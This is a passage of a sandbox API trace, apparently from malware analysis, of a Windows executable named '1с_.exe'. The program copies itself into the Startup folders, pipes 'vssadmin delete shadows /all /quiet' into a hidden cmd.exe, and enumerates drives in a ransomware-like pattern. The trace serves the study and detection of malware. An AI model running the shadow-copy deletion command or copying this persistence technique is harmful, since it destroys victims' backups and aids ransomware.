OldValue=0x18fd9c*=0x1) returned 1 [0036.815] lstrlenW (lpString="kernel32.dll") returned 12 [0036.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545920 | out: hHeap=0x510000) returned 1 [0036.815] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.815] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458d0 | out: hHeap=0x510000) returned 1 [0036.815] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1с_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1с_.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0036.816] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Roaming\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1с_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\roaming\\microsoft\\windows\\start menu\\programs\\startup\\1с_.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0036.820] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.828] WriteFile (in: hFile=0xe8, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.831] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0036.831] CloseHandle (hObject=0xe8) returned 1 [0036.832] CloseHandle (hObject=0xe4) returned 1 [0036.833] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.833] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x5458d0 [0036.833] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.833] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x545920 [0036.833] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.833] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.833] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.833] lstrlenW (lpString="kernel32.dll") returned 12 [0036.833] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545920 | out: hHeap=0x510000) returned 1 [0036.833] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.833] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458d0 | out: hHeap=0x510000) returned 1 [0036.833] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x510000) returned 1 [0036.833] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56d428 [0036.833] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57d430 [0036.833] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.833] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x5458d0 [0036.834] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5458d0, Size=0x40) returned 0x546a28 [0036.834] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a28, Size=0x80) returned 0x56b440 [0036.834] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x547ba0 [0036.834] lstrlenW (lpString="") returned 0 [0036.834] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.834] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8c) returned 0x547ca8 [0036.834] RegOpenKeyExW (in: hKey=0x80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders", ulOptions=0x0, samDesired=0x20119, phkResult=0x18fd18 | out: phkResult=0x18fd18*=0xe4) returned 0x0 [0036.834] RegQueryValueExW (in: hKey=0xe4, lpValueName="Common Startup", lpReserved=0x0, lpType=0x18fd24, lpData=0x57d430, lpcbData=0x18fd50*=0x7fff | out: lpType=0x18fd24*=0x2, lpData="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup", lpcbData=0x18fd50*=0x78) returned 0x0 [0036.834] RegCloseKey (hKey=0xe4) returned 0x0 [0036.834] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ca8 | out: hHeap=0x510000) returned 1 [0036.834] lstrlenW (lpString="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup") returned 59 [0036.834] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.834] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ba0 | out: hHeap=0x510000) returned 1 [0036.834] ExpandEnvironmentStringsW (in: lpSrc="%ProgramData%\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1с_.exe", lpDst=0x56d428, nSize=0x7fff | out: lpDst="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1с_.exe") returned 0x45 [0036.834] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d430 | out: hHeap=0x510000) returned 1 [0036.834] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d428 | out: hHeap=0x510000) returned 1 [0036.834] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x100000) returned 0x2100020 [0036.834] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.834] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x5458d0 [0036.834] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.834] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x545920 [0036.834] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.835] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.835] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.835] lstrlenW (lpString="kernel32.dll") returned 12 [0036.835] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458d0 | out: hHeap=0x510000) returned 1 [0036.835] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.835] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545920 | out: hHeap=0x510000) returned 1 [0036.835] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\1с_.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\1с_.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe4 [0036.835] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Windows\\Start Menu\\Programs\\Startup\\1с_.exe" (normalized: "c:\\programdata\\microsoft\\windows\\start menu\\programs\\startup\\1с_.exe"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xe8 [0036.838] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.847] WriteFile (in: hFile=0xe8, lpBuffer=0x2100020*, nNumberOfBytesToWrite=0x17200, lpNumberOfBytesWritten=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesWritten=0x18fd98*=0x17200, lpOverlapped=0x0) returned 1 [0036.849] ReadFile (in: hFile=0xe4, lpBuffer=0x2100020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x18fd98, lpOverlapped=0x0 | out: lpBuffer=0x2100020*, lpNumberOfBytesRead=0x18fd98*=0x0, lpOverlapped=0x0) returned 1 [0036.849] CloseHandle (hObject=0xe8) returned 1 [0036.850] CloseHandle (hObject=0xe4) returned 1 [0036.850] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.850] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x545920 [0036.850] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.850] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x5458d0 [0036.850] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x76c20000 [0036.851] GetProcAddress (hModule=0x76c20000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x76c4d650 [0036.851] Wow64DisableWow64FsRedirection (in: OldValue=0x18fd9c | out: OldValue=0x18fd9c*=0x1) returned 1 [0036.851] lstrlenW (lpString="kernel32.dll") returned 12 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5458d0 | out: hHeap=0x510000) returned 1 [0036.851] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x545920 | out: hHeap=0x510000) returned 1 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x2100020 | out: hHeap=0x510000) returned 1 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b418 | out: hHeap=0x510000) returned 1 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x55b420 | out: hHeap=0x510000) returned 1 [0036.851] lstrlenW (lpString="%windir%\\System32") returned 17 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x546998 | out: hHeap=0x510000) returned 1 [0036.851] lstrlenW (lpString="%appdata%") returned 9 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524388 | out: hHeap=0x510000) returned 1 [0036.851] lstrlenW (lpString="%sh(Startup)%") returned 13 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524360 | out: hHeap=0x510000) returned 1 [0036.851] lstrlenW (lpString="%sh(Common Startup)%") returned 20 [0036.851] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x5469e0 | out: hHeap=0x510000) returned 1 [0036.851] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.851] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x524360 [0036.851] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524360, Size=0x40) returned 0x5469e0 [0036.851] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5469e0, Size=0x80) returned 0x56b440 [0036.851] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.851] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x524360 [0036.851] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x1fffc) returned 0x54b418 [0036.851] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x56d428 [0036.851] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xfffe) returned 0x57d430 [0036.852] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a20 [0036.852] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a20, Size=0x20) returned 0x524388 [0036.852] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524388, Size=0x40) returned 0x5469e0 [0036.852] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5469e0, Size=0x80) returned 0x56b4c8 [0036.852] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b4c8, Size=0x100) returned 0x547ba0 [0036.852] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0036.852] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x547ba0 | out: hHeap=0x510000) returned 1 [0036.852] ExpandEnvironmentStringsW (in: lpSrc="%comspec%", lpDst=0x56d428, nSize=0x7fff | out: lpDst="C:\\Windows\\system32\\cmd.exe") returned 0x1c [0036.852] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x57d430 | out: hHeap=0x510000) returned 1 [0036.852] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56d428 | out: hHeap=0x510000) returned 1 [0036.852] CreatePipe (in: hReadPipe=0x18fd58, hWritePipe=0x18fd5c, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fd58*=0xe8, hWritePipe=0x18fd5c*=0xec) returned 1 [0036.852] CreatePipe (in: hReadPipe=0x18fdc8, hWritePipe=0x18fdcc, lpPipeAttributes=0x18fd48, nSize=0x0 | out: hReadPipe=0x18fdc8*=0xf0, hWritePipe=0x18fdcc*=0xf4) returned 1 [0036.853] SetHandleInformation (hObject=0xec, dwMask=0x1, dwFlags=0x0) returned 1 [0036.853] SetHandleInformation (hObject=0xf0, dwMask=0x1, dwFlags=0x0) returned 1 [0036.853] CreateProcessW (in: lpApplicationName="C:\\Windows\\system32\\cmd.exe", lpCommandLine=0x0, lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=1, dwCreationFlags=0x0, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x18fd68*(cb=0x44, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x101, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0xe8, hStdOutput=0xf4, hStdError=0xf4), lpProcessInformation=0x18fdb8 | out: lpCommandLine=0x0, lpProcessInformation=0x18fdb8*(hProcess=0xfc, hThread=0xf8, dwProcessId=0x938, dwThreadId=0x93c)) returned 1 [0037.303] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0037.303] WriteFile (in: hFile=0xec, lpBuffer=0x56b440*, nNumberOfBytesToWrite=0x41, lpNumberOfBytesWritten=0x18fd64, lpOverlapped=0x0 | out: lpBuffer=0x56b440*, lpNumberOfBytesWritten=0x18fd64*=0x41, lpOverlapped=0x0) returned 1 [0037.303] CloseHandle (hObject=0xfc) returned 1 [0037.303] CloseHandle (hObject=0xf8) returned 1 [0037.303] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x54b418 | out: hHeap=0x510000) returned 1 [0037.303] lstrlenA (lpString="mode con cp select=1251\nvssadmin delete shadows /all /quiet\nExit\n") returned 65 [0037.303] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x56b440 | out: hHeap=0x510000) returned 1 [0037.303] lstrlenW (lpString="%comspec%") returned 9 [0037.303] HeapFree (in: hHeap=0x510000, dwFlags=0x0, lpMem=0x524360 | out: hHeap=0x510000) returned 1 [0037.303] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a530, lpParameter=0x0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xf8 [0037.304] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544a20 [0037.304] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x40a710, lpParameter=0x544a20, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0xfc [0037.305] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524798 [0037.305] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x4098e0, lpParameter=0x524798, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x104 [0037.305] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a38 [0037.305] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a38, Size=0x20) returned 0x524360 [0037.305] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524360, Size=0x40) returned 0x5469e0 [0037.305] lstrlenW (lpString="ABCDEFGHIJKLMNOPQRSTUVWXYZ") returned 26 [0037.305] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xd0) returned 0x547c18 [0037.306] GetLogicalDrives () returned 0x4 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10014) returned 0x54b418 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a38 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x544a38, Size=0x20) returned 0x524360 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524360, Size=0x40) returned 0x546a70 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x546a70, Size=0x80) returned 0x56b440 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x56b440, Size=0x100) returned 0x549188 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549188, Size=0x200) returned 0x549188 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549188, Size=0x400) returned 0x549188 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549188, Size=0x800) returned 0x5497a0 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5497a0, Size=0x1000) returned 0x55b438 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10000) returned 0x56d428 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x544a38 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544b10 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524740 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x544b28 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x4) returned 0x524750 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b40 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524750, Size=0x8) returned 0x524750 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b58 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524750, Size=0x10) returned 0x524708 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b70 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544b88 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x524708, Size=0x20) returned 0x547aa0 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544ba0 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524750 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544bb8 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544bd0 [0037.306] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x547aa0, Size=0x40) returned 0x5452c8 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544be8 [0037.306] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544c00 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544c18 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x544c30 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544c48 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544c60 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x545310 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544c78 [0037.307] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x5452c8, Size=0x80) returned 0x549188 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544c90 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544ca8 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544cc0 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x544cd8 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5497b8 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5497d0 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5497e8 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524708 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549800 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549818 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549830 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549848 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549860 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549878 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549890 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5498a8 [0037.307] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549188, Size=0x100) returned 0x549188 [0037.307] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5498c0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5498d8 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5498f0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x549908 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549920 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549938 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x524718 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549950 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549968 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549980 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x6) returned 0x547aa0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549998 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5499b0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x547ab0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5499c8 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x5499e0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x5499f8 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a10 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a28 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a40 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xe) returned 0x549a58 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549a70 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x10) returned 0x549a88 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549aa0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ab8 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ad0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ae8 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x547ac0 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b00 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b18 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b30 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b48 [0037.308] RtlReAllocateHeap (Heap=0x510000, Flags=0x0, Ptr=0x549188, Size=0x200) returned 0x549188 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b60 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0x8) returned 0x5452c8 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549b78 [0037.308] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549bb8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549bd0 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549be8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c00 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c18 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c30 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c48 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549c60 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549c78 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549c90 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549ca8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549cc0 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549cd8 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549cf0 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d08 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549d20 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xc) returned 0x549d38 [0037.309] RtlAllocateHeap (HeapHandle=0x510000, Flags=0x0, Size=0xa) returned 0x549d50 